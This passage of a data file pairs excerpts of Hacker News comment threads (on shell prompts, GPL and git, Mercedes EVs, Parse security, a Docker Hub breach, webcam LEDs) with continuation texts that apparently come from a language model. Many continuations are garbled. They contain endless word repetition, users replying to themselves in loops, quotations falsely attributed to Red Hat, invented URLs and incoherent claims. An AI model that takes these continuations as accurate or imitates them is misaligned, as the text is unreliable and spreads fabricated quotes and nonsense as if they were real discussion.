command's output. I think I would have used a different character since\nthe line wrapping is so weird.\n\n~~~\nchungy\nI'm not sure what you mean by \"accidentally intended\". I mean \"command-line\ntool _implemented with a bug_ \".\n\n~~~\nopk\nI mean a bug in the tool that implements the prompt, not a bug in the user\nwho runs the tool.\n\n------\njanc", "input_text": "81fe3e91d92738](https://www.loom.com/share/5eab7cfb4590475a8881fe3e91d92738)\n\n------\nsimias\nI love this article, as a long time ZSH user it's one of these things I've\nalways wondered how they were implemented but never cared to investigate\nmyself. It's really a clever hack too, if I had been asked to implement this\nfeature my default approach would definitely have been to find a way to\nintercept the command's output somehow.\n\n------\nnneonneo\nA slight improvement: adding \"\\\\\\033[K\" to the end, i.e.:\n\n \n \n PROMPT_COMMAND='printf \"\u23ce%$((COLUMNS-1))s\\\\r\\\\033[K\"'\n \n\nkills the extra spaces at the end, which can help alleviate some of the\nweirder line wrapping that occurs when resizing a terminal window.\n\n(I believe zsh uses something like \\033[J${PS1}\\033[K for similar effect).\n\n~~~\nJetSpiegel\nThis is a great addition to the post, thanks for this.\n\n------\nchungy\nThis is such a wonderful little hack, I've placed it into my.bashrc. Thank\nyou!\n\nI did actually modify it a little bit, got rid of the two beginning %s in\nfavor of \u23ce. It's not a character I expect to really happen to end legitimate\noutput of a program, so it seems more than good enough to keep it from being\naccidentally intended.\n\n~~~\nopk\nApply some attributes to it if you want it to be clearer that it isn't"} +{"output_text": " Hat believes that the kernel community has\n> been clear about what that means for the kernel. That is, Red Hat's\n> distribution of the Linux kernel is the kernel community's preferred form\n> for distributing source code.\n\n> The kernel community has been clear that the kernel's source code should be\n> distributed as a set of patches and that those patches should be applied\n> using the standard version control system of the kernel's developers.\n\n> The kernel's source code", "input_text": ". (not saying that's the case here)\n\n[1]: [http://github.com/johnath/beep/](http://github.com/johnath/beep/) [2]:\n[https://wiki.debian.org/UsingQuilt](https://wiki.debian.org/UsingQuilt) [3]:\n[https://sources.debian.org/src/beep/unstable/](https://sources.debian.org/src/beep/unstable/)\n\n~~~\n0x0\nThanks for your detailed reply.\n\nI'm still curious about the general case of GPL and Git. If I were to hack on\nsome GPL-licensed software, my \"preferred form of the work for making\nmodifications\" would hands-down be a.git repository, because all the\nindividual git commits and commitmsgs are important (meta-)information, almost\nas important as the source code files themselves. It also makes collaborating\non improvements much easier when you can work on git commit objects, with\ntheir parent(s) commit hash references. Without those, determining where and\nif a.patch should be applied to a source code dump becomes much harder.\n\nIn other words, if there exists a.git repository for a given piece of\nsoftware, and all one gets is a.tar.gz flat source dump snapshot, I feel\nlike... something has been left out?\n\n~~~\nlwf\nThis came up when RedHat stopped breaking out their patches against the Linux\nkernel: [https://lwn.net/Articles/432012/](https://lwn.net/Articles/432012/)\n\nRelevant parts quoted:\n\n> While there can certainly be arguments about what \"preferred form\" means for\n> source code distributions, Red"} +{"output_text": ".mercedes-Benz-\nforum.com/index.php?action=board&...](http://www.mercedes-\nBenz-forum.com/index.php?action=board&boardid=1&threadid=122708)\n\n------\njhallenworld\nI wonder if the Model S will be able to run on hydrogen?\n\n~~~\njhallenworld\nI mean, as a fuel. Not as a source of", "input_text": " to\nsupply batteries for one EV model._\n\nPlease point me to a factory that actually produces 35GWh/a ;)\n\n~~~\ndingo_bat\nThat video is awesome, it almost looks like the car factory in minority\nreport!\n\n------\ndemarq\nI would have thought the car would have been a valuable platform for them gain\nknowledge and insight into the electric side of the industry.\n\nIf some years later they decide to start again, they'll have lost significant\nadvantage, and I'm not talking about the technology side of things but the\nrest of the business mix that's involved.\n\n~~~\nskgoa\nThe electric B-class used Tesla drivetrains. Mercedes are switching to their\nown electric drivetrains.\n\n------\nmerb\n> So there\u2019s a tip for everyone \u2013 if you don\u2019t want a dealership to call you\n> back, just tell them you\u2019re looking to buy an EV.\n\nlol.\n\n------\npmlnr\nGood. Now start working on hydrogen-cell, like the Japanese.\n\n~~~\nMagnumOpus\nThey've been working for it for 25 years and have been the first-mover in the\narea: [https://de.wikipedia.org/wiki/Mercedes-\nBenz_NECAR](https://de.wikipedia.org/wiki/Mercedes-Benz_NECAR)\n\nCurrent iteration of their fuel cell efforts:\n[https://en.wikipedia.org/wiki/Mercedes-Benz_F-\nCell](https://en.wikipedia.org/wiki/Mercedes-Benz_F-Cell)\n\nHowever they don't believe in it any more and will likely stop\ndevelopment/research: [http://www"} +{"output_text": " savvy enough to know that they shouldn't be\nsharing their tokens with the client app.\n\n~~~\nlacker\nThanks for the feedback. I'll take a look at the docs to see if I can find\nanything that might clarify this.\n\n------\njongleberry\nI'm not sure why you would want to do this. If you have an app that needs\naccess to a user's data on their phone you can just ask them for the access\ntoken", "input_text": " this is inappropriate for all but the most basic use\ncases.\n\n~~~\nlacker\nHi Scott. Just to clarify, the client API does not use the app's global\ncredentials, but the client credentials which have their access limited in\nseveral ways. One is the per-column access configuration, which lets you set\nup objects where access is restricted to users with the relevant token. The\nother main security restriction is user-based authentication, which ensures\nuser data can only be updated by a client authenticated as that user. The\ncombination of these security methods handle a lot of use cases, and we're\nalways looking to add more security functionality to make more use cases work\nsecurely.\n\nIf you have a specific application in mind, I'd love to chat with you about\nhow it maps onto our security model. Feel free to drop me a line at\nkevin@parse.com.\n\n~~~\nscotth\nI do see \"class\" level permissions, as I mentioned in my previous post, but\nnothing suggesting that finer grain control exists. I do see that you can\nstore data on the authenticated user, which is a good start.\n\nAnd if better security is something that's in the works, that's great. I'm not\nlooking to give you guys a bad name. I just saw this being talked about in the\nstartups I work around, and felt as if some of the less experienced developers\nwere not considering what implications using a service like this might have.\nIt's convenient, I'll give you that -- but instead of facilitating good\nsecurity through its APIs, it obscures the need for it altogether. And from\nwhat I can see, it would be difficult for you guys to encourage good practice\nwithout being heavy handed.\n\nLet's just hope your users are"} +{"output_text": " from the start\n\n------\njoeevans1000\n\\- read the complete book The Power of Play by Jean Orzack\n\n\\- take a photo of every day for a month\n\n\\- learn to play a new instrument\n\n\\- learn to paint\n\n\\- learn to dance\n\n\\- learn to play an instrument from a YouTube tutorial\n\n\\- learn to play a new language\n\n\\- learn to surf\n\n\\- learn to play a new instrument from a tutorial\n", "input_text": "\nthat sounds like the easiest suggested challenge so far :P\n\n------\ntylerpachal\nI'd like to enrol in a culinary arts class to learn more about cooking! I\nthink a month would be enough time to complete some courses at one of my local\ncolleges.\n\n~~~\nmezod\nthat looks like a good idea! I bet your stomach agrees :P Yeah a month should\ncover you on at least 5 or 10 recipes!\n\n------\nguptabot\nGrow my weekly newsletter to atleast 1000 subs from the current 100:\nwww.tinyletter.com/harshalbot\n\n------\nrodolphoarruda\nI live in S\u00e3o Paulo, Brazil. I would try to get to Ushuaia by car via Chile\nall the way down to the Tierra del Fuego.\n\n~~~\nmezod\nOh boy oh boy, you are one of mine! Roadtrippers for the win! Just do it! How\nmany km do you estimate?\n\n~~~\nrodolphoarruda\nIt's hard to estimate the KMs because you are always making small detours to\nvisit places as you go. In terms of time/duration, the roundtrip takes a full\nmonth, so very much aligned with OP's question.\n\n------\nWorksOfBarry\nI'm gonna spend a lot of the month working on my git client for IBM i.\n\nNew features, documentation and feedback\n\n------\ntdy721\nfinish [http://videopoker.academy](http://videopoker.academy)\n\n* Get a trainer version playable without sign in\n\n* Add history and stats interface\n\n* Work up a tutorial\n\n* Integrate Stripe\n\n* import style + FX"} +{"output_text": "illigent in this regard.\n\n~~~\njoeevans1000\nThanks for the detailed response. I'm not sure I understand your comment on\n\"legal work\". Are you saying that you need to open a bank account? If so, how\ndo you do that?\n\n~~~\njoeevans1000\nI guess I should have been more clear. I am not talking about opening a bank\naccount. I am talking about the legal work required to open a bank", "input_text": " they're usually tech savvy\nand might provide an API. You maintain balance with them and they take care of\nthe 'Last Mile' of paying out and are fully licensed (hopefully). They charge\na fee, and depending on Paypal, they pass it unto you or bake it in with their\nmargins. A side note USDNGN has a black market rate that's way better than the\nbanks, maintaining balance with a bank might be less competitive vs finding an\naggregator that can offer you USDNGN black market rates.\n\nThat's the basic gist for the treasury work. Legal work mainly is to actually\nopen a bank account and keeping in line with a country's AMLA and KYC\nregulations are another cost. Otherwise they'll shutdown your bank accounts.\nDepending on the speed/red-tape of the government processes, you'd have to\nbake in legal fees and months of back and forth with government agencies.\n\nI have just described Withdrawals. I haven't even begun to describe the\nhardship of \"Deposits\", because you're actually in-line with being a quasi-\nbank, which has another set of licenses, permits and fees.\n\nThis is just for 1 country. Every country has it's own quirks, what you did\nfor Nigeria cannot be replicated to say, paying out in KRW or IDR. They will\nhave different licenses, legal fees, aggregators and banks, cash pickups, bank\naccount limits/thresholds, that you'll have to sort and scope out. Not to\nmention the amount of local competition. You'll also have to keep tabs of\nchanges in regulation, national holidays or changes in a bank/aggregator's\npolicies.\n\nHopefully this outlines why Paypal cannot be d"} +{"output_text": "chahn\n> The US spends more on health care than any other country, yet ranks low on\n> many quality of life metrics.\n\nThat's because the US is an insurance based system. It's not a system that\nvalues health.\n\n~~~\nmchahn\n> It's not a system that values health.\n\nWhat system does?\n\n~~~\nmattmcknight\nMy view is that health care is best provided by a social system. It", "input_text": "! I just got a Fitbit for Christmas and these graphs are a\nlot better than the ones on the Fitbit site. The best part is they work on iOS\ndevices unlike the Flash ones that Fitbit uses.\n\n------\nluckysh0t\nlibs:\n\n\\- PayLib (about to be gutted and\nrebuilt)\n\nsites:\n\n\\- Kickstartit \n\n\\- Ghost Messenger \n\nbones:\n\n\\- nltk on app engine \n\n------\ncloudsteam\nMy one and only side project - (WARNING NSFW)\n\n------\nsycren\nCould you share the reasons for your choice in technologies in the stack?\n\ni.e node.js, mongodb, heroku, php, ruby etc.\n\n------\nknes\nBankersBox looks nice! A shame you didn't \"finish it\" with the implementation\nof hashes & co.\n\n~~~\njazzychad\nI'd still like to... or for someone else to! In 10 months nobody has done it,\nso it might be up to me after all.... or it means that nobody really\nwants/needs it. It would be fun as an academic exercise, though.\n\n \nUS Workers Are Paying High Taxes. But Without Any of the Benefits - mjfern\nhttps://jacobinmag.com/2019/04/labor-tax-rates-united-states-health-insurance\n======\nm"} +{"output_text": "\n> even if the virus goes away and the economy bounces back we've learned\n> nothing and climate change and another wave of pandemics is upon us.\n\nI disagree. We've learned that we can't rely on the status quo. We've learned\nthat we need to take much more care with our environment. We've learned that\nwe need to be much more resilient in the face of uncertainty.\n\n~~~\nntsplnkv2\n> we need", "input_text": "ractices entirely. So it might happen again in a region where the government\nhave less control. That's the scary part.\n\nIt's eye-opening that unscientific beliefs are actually endangering lives. It\nwas true for anti-vax, but now we have reached a stage when ignorance reached\na new stage of dangerosity.\n\n~~~\nillumin8\nIt's more than wet markets, although those are obviously dangerous. It's the\ncontinued expansion of human population into rainforests and other wildlife\nareas:\n\n> Yes. EcoHealth Alliance, an NGO, and others, looked at all reported\n> outbreaks since 1940. They came to a fairly solid conclusion that we\u2019re\n> looking at an elevation of spillover events two to three times more than\n> what we saw 40 years earlier. That continues to increase, driven by the huge\n> increase in the human population and our expansion into wildlife areas. The\n> single biggest predictor of spillover events is land-use change\u2014more land\n> going to agriculture and more specifically to livestock production.\n\nThis is not going to be fixed easily. Everything from the deforestation of the\nBrazilian rainforest to Chinese population growth is driving it.\n\n------\nPhenomenit\nI think the most important part in the article is that with the wave of\npopulism and nationalism sweeping the world it's evident that this mindset is\nincapable of solving any real problem on any scale. Even if the virus goes\naway and the economy bounces back we've learned nothing and climate change and\nanother wave of pandemics is upon us.\n\nIt's clear that market capitalism isn't resilient or robust. Our engine must\nalways run on red and sooner or later it's going to brake down.\n\n~~~\nerpellan"} +{"output_text": "-it-comes-\nto-bonds-tesla-s-always-got-them-to-buy)\n\n------\njhallenworld\nI wonder if the \"Model 3\" name will be a problem. It's a bit like calling a\nChevy Volt a \"Volt\" (ignoring the context).\n\n~~~\njhallenworld\nI mean \"Model Y\" or something similar\n\n------\njhallenworld\nI", "input_text": " million in Q4, its biggest quarterly loss yet\"\n\n~~~\nslg\nTesla's bond offerings are routinely oversubscribed. The market is clearly\nwilling to continue to give them more and more money. I therefore find the\nidea dubious that Tesla needed to be super aggressive with their production\ntargets or else they would run out of cash.\n\n~~~\nnopriorarrests\nIf I recall correctly, their last offering was more or less positioned like\n\"according to our production estimates, this is, probably, last time we ask\ncapital markets for cash infusion\", and it was at the height of excitement\nabout the Model 3.\n\nAs of now, however, these bonds (1.8bln, issued last August) are trading\nunderwater [0]. They will probably tap the market once again this year, and we\nwill see what happen.\n\n[0] [https://www.marketwatch.com/story/teslas-junk-bonds-are-\ntrad...](https://www.marketwatch.com/story/teslas-junk-bonds-are-trading-\nunder-water-and-it-could-spell-trouble-for-elon-musk-2017-11-10)\n\n~~~\nslg\nThose were junk bonds in August. Tesla is still having success with other\ntypes of bonds. Here is a more recent offering from January with lease backed\nbonds [1]. Tesla sold $546m worth but had orders for roughly $7b.\n\n[1] - [https://www.bloomberg.com/news/articles/2018-01-31/when-\nit-c...](https://www.bloomberg.com/news/articles/2018-01-31/when"} +{"output_text": " the mic though.\n\n~~~\njhallenworld\nThe microphone LED is usually off by default because it is not needed for\nmicrophone use.\n\n~~~\njhallenworld\nDown votes without a comment?\n\n~~~\ndang\nIt's a trivial observation, and you've been downvoted for that.\n\n~~~\njhallenworld\nI'm not sure why you think it's trivial. The LED is always off by default\nbecause it", "input_text": "\n\nI think that every electronic camera and mic device should have a hard\nswitch/button that physically disables both the camera and mic. Having to use\ntape or a cover does not keep you from being spied on; it only eliminates the\nvisual spying. The attacker can still listen.\n\n~~~\nzyngaro\nSmartphones represent a bigger security risk in that regard. Front facing rear\nfacing, mic all ones personal data, pictures and so on.\n\n~~~\nJohnStrange\nHardly. You put your phone on the desk and it's going to show the ceiling. In\ncontrast to this, people do all kinds of weird things in front of laptops.\nI've even heard once of someone who allegedly masturbated (!) in front of a\nlaptop. Of course, that must have been an extreme outlier...\n\n------\njanvidar\nIsn't this really just a sign of flawed hardware design?\n\nIn my opinion hardware should be designed so that the camera LED lamp should\nalways be lit if the camera is used. If there is a malfunction with the LED,\nthen the camera should also not work. Also there should be a hardware LED for\nwhen the microphone is being used which should work in the same fashion for\nlaptops with built-in microphones.\n\nIn the webcam drivers I have looked at the LED is controlled independently of\ncapturing, although drivers do enable the LED when the camera is used. This\nessentially means that hackers can record and disable the lamp.\n\nI've been considering hacking together some piece of software that will\ncontinuously use the camera (/dev/video) in order to block it for other\napplications, and have it fail with visible alerts if unable to block the\ncamera. Not sure if the same thing can be achieved for"} +{"output_text": "and-growth-report-highlights-eu-monitoring-achieve-\nachievements)\n\n------\njokoon\nI wonder if this is related to the fact that pesticides are used on genetically\nmodified crops.\n\nI wonder if the farmers who grow organic are more likely to be against\ngenetically modified crops.\n\n~~~\njokoon\nI wonder if this is related to the fact that pesticides are used on genetically\nmodified crops.\n\n", "input_text": "'s an indirect reference:\n\n\u201cI would recommend that pregnant women and children eat organic fruits and\nvegetables and avoid using plastic containers and canned food, especially in\nthe microwave, because containers are usually treated on the inside with\nsubstances and compounds that can leak into the tomato soup and may act as\nendocrine disruptors,\u201d he said.\n\n------\nbased2\nChemicals Legislation\n[http://ec.europa.eu/growth/sectors/chemicals/legislation/ind...](http://ec.europa.eu/growth/sectors/chemicals/legislation/index_en.htm)\n\n[http://ec.europa.eu/growth/single-market/european-\nstandards/...](http://ec.europa.eu/growth/single-market/european-\nstandards/harmonised-standards/pesticide-application-equipment/index_en.htm)\n\nMeasuring REACH and CLP Enforcement - new study Published on: 19/05/2015, Last\nupdate: 20/05/2015 [http://ec.europa.eu/growth/tools-\ndatabases/newsroom/cf/itemd...](http://ec.europa.eu/growth/tools-\ndatabases/newsroom/cf/itemdetail.cfm?item_id=8280&lang=en&title=Measuring-\nREACH-and-CLP-Enforcement---new-study)\n\nsrc: [https://www.theparliamentmagazine.eu/articles/eu-\nmonitoring/...](https://www.theparliamentmagazine.eu/articles/eu-\nmonitoring/dg-environment-"} +{"output_text": " that's it.\n\n~~~\nsaagarjha\n> Running Gatsby does NOT make the whole website run on React. It makes a\n> bunch of HTML pages that are statically served - and that's it.\n\nHow does that make it not React?\n\n~~~\npcr910303\nBecause, you know, it's not running on React.\n\n~~~\nsaagarjha\nThen what is it running on?\n\n~~~\npc", "input_text": ".\n\nLet's go back to server side rendering, a bit of HTML + CSS and JS and we're\ndone.\n\n~~~\nsaagarjha\nThe author had a specific desire for a toggle on a static site, which requires\na bit of persistent state that CSS can't really capture. (FWIW, I don't care\nfor a toggle and match the system theme on my website as well. But dismissing\nthe author's work with your \"few lines of CSS\" fails to account for the fact\nthat this dark mode does something different than yours.)\n\n~~~\nmemco\nThis doesn't capture all the state correctly even. When you first load the\npage, if it is dark mode the XKCD loads a black on white (aka light) image. If\nyou toggle to light mode and back to dark the XKCD comic becomes a black on\nwhite image. The state of image filters isn't consistent in the current\nimplementation.\n\n~~~\nsaagarjha\nOh, I'm not claiming it does it correctly. (In fact, I have another comment\nthat points out another issue:\n[https://news.ycombinator.com/item?id=22924571](https://news.ycombinator.com/item?id=22924571)).\nBut the claim that I was responding to made incorrect assumptions, and the\nbugs in the implementation don't change that.\n\n------\npcr910303\nSeriously! Should every Gatsby blog post on HN have this useless 'React is\noverkill for static sites' talk?\n\n __ __ _Gatsby is a static site generator!_ __ __\n\nRunning Gatsby does NOT make the whole website run on React. It makes a bunch\nof HTML pages that are statically served - and"} +{"output_text": " and the Space Shuttle.\n\nI remember my dad having a slide rule and a adding machine. I remember the\nphone line to the local phone company being busy all the time.\n\nI remember the Cold War.\n\n------\njheriko\ni love this - reminds me of the excitement of discovering that there was\nactually a market for what i was doing...\n\n------\njheriko\n... and the next step was to start my own computer company", "input_text": "; I used to have TRS\n80 III and 4 so when I saw I box (don't hit me) of model 100s for 10 euros I\nbought it. They're a very nice addition to my museum and batteries last\nforever. The box had 1 Sharp PC-1211 too. Talking about battery life :)\n\nWhat always amuses me is that my computers from around 2000 are not working\nanymore (heck, most laptops I have from the past 10 years are not even booting\nanymore) while computers from my parents basement which are around 30 years\nold just work like they just came from the shop. Even the Philips computers\nfrom that time who had known capacitor issues in the power circuitry work like\ntime didn't happen.\n\n------\nitalophil\nI used an East German version of the KIM (LC80) for lab experiments. In 1999!\nTying in code was slow and debugging even slower, but the hardware I/O was\neasy, no fuzzing around with RS232. Ahhh, good times.\n\n------\nbrudgers\nI spent several weeks during the Summer of '82 living in dorms and taking\ncollege courses at UCF. My suitemate, John, was writing Petman in machine\ncode, on and for his PET 16. An enduring memory for me and one which reminds\nme that there are programmers who are 100 more productive than others - I was\nat the stage of typing in code from magazines.\n\n------\njgrahamc\nWow. I should really dig out more stuff from my box of old programs. This one\nblog post is at almost 100,000 page views.\n\n------\nSoftwareMaven\nAnd this was just a small utility. Then think about things like the Apollo\nprogram"} +{"output_text": " that I've used in the past is to use a CDN like\n[https://www.gstatic.com/images/branding/product/ae/logo.gif](https://www.gstatic.com/images/branding/product/ae/logo.gif)\nand then use their image hosting service to host your own images.\n\n------\njwilber\nI'm seeing a lot of people asking for alternatives to dockerhub. I've been\n", "input_text": "\n\n~~~\nleowoo91\nMost companies get 2FA after the damage is done..\n\n------\nbamboozled\nYou're probably busy, but you might want to update the splash page on Docker\n[https://hub.docker.com](https://hub.docker.com) to notify users of the\nincident?\n\n------\nblcknight\nI did not get any email but my github is showing dozens of failed login\nattempts over the last 3 days.\n\n~~~\nlugg\nSending 190k emails takes time but please update us here if you don't receive\nin a day or so. - curious if their 190k is accurate or downplay spin.\n\n~~~\nM4v3R\nIt takes around 2 hours to send ~200k emails if you use an external email\ngateway and have good outgoing bandwidth.\n\n------\nOperyl\n[https://status.docker.com](https://status.docker.com) still not a mention.\nWonder how long until it is.\n\n~~~\nahmedalsudani\nThat's the wrong place to track a hack. The status page is concerned with\nuptime, not security.\n\n~~~\nOperyl\nI disagree, destroying a ton of keys breaks stuff.\n\n------\ndiNgUrAndI\nWhat are dockerhub's alternatives? No 2FA. That is bad.\n\n~~~\nlskillen\nAs others have stated you could run your own registry or use an alternative\nservice for private repositories, to minimise or eliminate the attack vector.\n\nBy replicating the images (or packages) that you need into your own account,\nyou can minimise the possibility of a bad actor replacing a well-known image\nwith something untrusted.\n\nAn alternative"} +{"output_text": " not successful? 2\\.\nFind a cofounder who is a technical wizard and not a dreamer. 3\\. Have a\nbusiness plan ready. 4\\. Get in at a seed round where you can get in at $1-2M\n(not a lot of money, but enough to make it a big deal if you don't get funded)\n\nOnce you are in, keep your eyes open for exits. If you are not getting funded\nin a reasonable time frame, you", "input_text": "-technical cofounder\", but far less that have the deep, valuable domain\nknowledge being discussed here.\n\n~~~\nbeat\nWell, yeah. Vet your partners. They need to have a realistic and achievable\nidea that makes sense to you. \"Business plan\" becomes their responsibility,\nand it needs to be better than \"collect underpants,???, profit!\", or\n\"Facebook for cats\" or whatever.\n\n------\najcodez\nKeep everything incredibly simple. Follow the standard 10 slide deck pattern.\nFocus on the value your service provides in concrete terms. It\u2019s not the time\nfor subtlety. Spell things out explicitly in big font.\n\nSet the price of shares at $0.10 or a round number. Raise a normal amount of\nmoney like $150k or $250k at a normal valuation like $1M (depends on industry\netc). Get someone close to you to put in any nominal amount like $10k and tell\ninvestors you already have committed funds. If possible use a SAFE contract to\naccept funds faster.\n\nHire a freelance designer to clean up the deck and website home page if that\nis an issue. Ask friends to review both deck and home page. If possible make a\nproduct video walkthrough.\n\nIn meetings keep things friendly. Stick to the plan. Pitch and then ask if\nthey are interested. Answer questions truthfully but in line with\nexpectations. Never complain or give excuses for anything. Follow up\nfrequently because investors are often busy and literally might forget they\nagreed to invest in your co.\n\nSource - closed $250k seed round this month. Woohoo. Back to work.\n\n------\nmodi15\n1\\. First figure out plan B - what happens if you are"} +{"output_text": " sure if I'm in the right forum or not.\n\n~~~\npatio11\nI think it is a good forum. I am a big fan of the $2,000/month living standard\nin the Bay Area. I am a big fan of that level of income for a lot of people.\nI'm a big fan of it because it is a level that allows me to live in San\nFrancisco and not be a starving college graduate. I am a big fan", "input_text": " for $2k/month all in, and the Bay Area would be the\nlast place I'd expect to do so.\n\nI meant \"pays your rent\" quite literally. As in, taking the biggest of your\nfinancial worries away and leaving you only needing to deal with the spending\nmoney part. So you still can't live on your income, but you can coast along\nfor an entire year on $10k savings.\n\nUp to that point, $10k in the bank meant you'd better start scrambling to pick\nup a contract in the next couple months before you run out of money.\n\n~~~\npatio11\n_There aren't many places in the US where you can live for $2k/month all in_\n\n$2,000 / 160 = $12.50, which is substantially higher than the minimum wage in\nall fifty states of the Union, so I'm guessing that there exist at least a few\npeople who are somehow making do...\n\n~~~\nbkmartin\nI'm guessing you've never tried to live on $12.50/hr. And if you take that as\na gross number not a net number its even worse. Sure, people are \"making it\nwork\" but if you aren't single without kids and have zero college debt then\nyou aren't doing it without some sort of assistance. Just because the minimum\nwage is $7.25 or up to $8.55 (depending on the state you live in), doesn't\nmean you can live on it.\n\n~~~\nbkmartin\nReally? negative points for a post that simply points out the fact that\n$12.50/hr is a lot harder to live on that what the majority of people on here\nwant to make it sound? I'm not"} +{"output_text": " not dead, so I don't know why you are so upset.\n\n~~~\nkarmajunkie\nI'm not upset, I'm just a little bit disappointed in the tone of the\ncommenter. I'm not even sure why.\n\n------\njongraehl\nI'm not a Rubyist, but I think this is a great lesson for all of us:\n\n[https://www.youtube.com/watch?v=9_7", "input_text": "? After all,\nthis is where Ruby, as a language, shines!\n\nI bring all this up, because I met Jim at one of the first Ruby conferences I\nhad ever gone to around this time. Though I had been doing Ruby for a couple\nyears, I was relatively new to the conference-going community, and so not part\nof the \"in-crowd\". I remember the highlight of that conference for me was\ntalking with Jim.\n\nHe seemed not to care for the existence of any sort of clique while\nsimultaneously being its unknowing leader. He was very approachable and\nfriendly. But more importantly, he was a great listener and thinker. I\nremember talking with him about my views on TDD and pair-programming (at the\ntime, the view that \"it depends\" was controversial), and how the hype was\nhurting the community. He was one of the few who gave it considerable thought,\nand after discussing it, even encouraged me to give a talk. As someone new to\nthe conference and public developer community, and outside the speaker in-\ncrowd, this was very encouraging.\n\nI had been asking what happened to the joy of just building something in the\ncommunity at that time, but I can honestly say, Jim never lost it.\n\nJim, you'll be missed.\n\n~~~\nauggierose\nI think once you started programming in \"Ruby\", you've given up your right to\ntalk about how to program in the right way. Just saying.\n\n~~~\nkarmajunkie\nI've seen a lot of snide, dickhead comments on HN, but dropping one like that\non a memorial thread for someone like Jim Weirich takes the cake.\n\n~~~\nauggierose\nHe's"} +{"output_text": " commenting on other people's content.\n\n'The only way to remove a post is to flag it and then request that it be\ndeleted.'\n\nThis is a little too simple. You can also email the post's author and ask to\nhave it removed.\n\n'Pintrest has a history of deleting content that it deems \u201coffensive\u201d.'\n\nThis is a little disingenuous. Pintrest has a history of deleting content that\nisn", "input_text": "putative buyer).\n\n~~~\n1point2\nAnd there in lies the problem with TOS (or is the problem with the law?) if\none needs to be an attorney to understand them, what hope is there for the\nordinary folk - just saying. No wonder people just click through.\n\n------\nedwinnathaniel\nWatermark the pictures in your blog?\n\nBy the way, I found out that you can watermark all of your images that you're\nabout to upload to Picasa Web via Picasa Desktop (there's an option to do that\nbefore you Sync to Web). I found that feature very useful if you organize your\npictures using Picasa (and show them on your blog).\n\n~~~\nfreehunter\nProblem is, copyright is implied on the part of the creator. It does not need\nto be applied for, nor is there any _requirement_ for a copyright notice.\n\nJust because you didn't watermark your image doesn't mean the copyright now\nbelongs to Pintrest (or imgur, or Google+, or Facebook, etc) because people\nwho didn't hold the copyright and didn't have the standing to give it away\nposted it.\n\n~~~\nicebraining\nAnd that's why you can send a DMCA takedown request and they'll have to take\nit down. I fail to see the problem here.\n\n------\nmtgentry\n'The \u201cpin\u201d button remains inactive until the user types something. Anything.\nMight this count as \u201ccriticizing\u201d or \u201ccommenting\u201d?'\n\nInteresting. I'd like to see a court case further define what constitutes a\n\"comment\" on the web. Other sites do this too, for example Buzzfeed.com's\nentire business model is"} +{"output_text": " the sign).\n\n~~~\nthought_alarm\nIt's a pictogram for the letter \"h\".\n\nThe \"h\" is also called the \"hat\" sign, and it's also called the \"smiley\"\nsign.\n\n~~~\nvacri\nAh, yes. I was thinking of the US keyboard layout, where the 'h' is on the\n'q' key.\n\n------\njokoon\nI always thought the at sign was", "input_text": " \"Monkey A\" (\u043c\u0430\u0439\u043c\u0443\u043d\u0441\u043a\u043e \u0410)\ni've also heard few people cal it \"rose\" (\u0440\u043e\u0437\u0438\u0447\u043a\u0430)\n\n~~~\ndelian66\nAlso, some people in Bulgaria call the '@' sign \"\u043a\u043b\u044c\u043e\u043c\u0431\u0430\".\n\nAn interesting story about this sign, is that it had been used in a medieval\nBulgarian chronicle dated at 1345. In it, the @ symbol is part of the word\n'\u0410\u043c\u0438\u043d' (amen).\n\n[http://bg.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:19-man...](http://bg.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:19-manasses-\nchronicle.jpg)\n\n------\nggchappell\nBoth cute and interesting.\n\nNote, however, that the article does not distinguish between what the sign is\n_called_, and how it is _read_. I call it an \"at sign\". I read it \"at\". Now,\nin Dutch it's called a monkey tail (said in Dutch, of course). But that may\nnot be how it is _read_ in Dutch.\n\n------\nthought_alarm\nI can think of a few English pictograms on the standard keyboard:\n\n^ = Hat\n\n* = Star\n\n# = Hash\n\n~ = Squiggle\n\n{ = Curly\n\n~~~\nvacri\nI don't see what 'hash' is a picture of. There is 'cross-hatching' in\nillustration, but that's not the same word (and it's specifically cross-\nhatching, not"} +{"output_text": "-capability-\nkit.jpg)\n\n~~~\nnick_kline\nI love this comment.\n\n------\njoeblau\nI wish this was more about the hardware and less about the Linux distro. I\nthink the hardware is fine, but I'm not sure about the distro. I've used\nUbuntu, but I'm not a fan of the UI. I'm a big fan of the Arch Linux UI.\n\n~~~\njoebl", "input_text": "downright nasty.\n\n~~~\nnick_kline\nNo, it's different with windows. Linux doesn't have constant forced patches\nfrom the mothership that kill your system. It can happen but it's much rarer.\nWindows used to be better of course (back when i worked there, even though I\ndidn't work on that part ;-)). It's staggering how bad windows maintenance is\nnow.\n\n~~~\nintpx\nHave you met my friend Ubunto 20.04?\n\n~~~\nnick_kline\ntouche\n\n------\nUI_at_80x24\nAnybody else reminded of the dot-com era popular item (fad?): The SCOTTeVEST\n\n(googling shows they are still around).\n\nPower cables (although i don't think the original actually had cables, it did\nhave channels for the cables to run through), data cables, multiple pockets. I\nwanted one until I saw the price tag.\n\n~~~\nrangibaby\nTo me it looks like it belongs on the \u201cLand Warrior\u201d (remember that?)\n\n~~~\nmoftz\nAll that Land Warrior tech is pretty much available now in the form of a small\nPAN that includes a radio, android tablet, and headset. Additional sensors\nlike cameras can hook into the radio to give live video to a command center.\nThe radio battery can run everything or the soldier can wear a larger battery.\nEverything hooks up through what is basically a USB hub combined with an\nethernet switch.\n\nHere is an example of a setup: [https://cdn.glenair.com/star-pan/img/star-pan-\nvi-capability-...](https://cdn.glenair.com/star-pan/img/star-pan-vi"} +{"output_text": " very very very very very very very very very very very very very\nvery very very very very very very very very very very very very very very\nvery very very very very very very very very very very very very very very\nvery very very very very very very very very very very very very very very\nvery very very very very very very very very very very very very very very\nvery very very very very very very very very very very very very very very\nvery very very very very very", "input_text": "\nis gonna be useful.\n\n~~~\ngiarc\nAnother crazy one is simply pushing a big heavy train up a hill. Then when you\nneed power just letting it go back down the hill.\n\n[https://www.wired.com/2016/05/forget-elons-batteries-fix-\ngri...](https://www.wired.com/2016/05/forget-elons-batteries-fix-grid-rock-\nfilled-train-hill/)\n\n~~~\n_Microft\nI one-up that with [https://heindl-energy.com/technical-\nconcept/](https://heindl-energy.com/technical-concept/) (city for scale?;)\n\n------\nnoneeeed\nFor anyone interested in power useage and supply patterns you should check out\n[https://gridwatch.co.uk/](https://gridwatch.co.uk/)\n\nIt shows UK power use and generation in 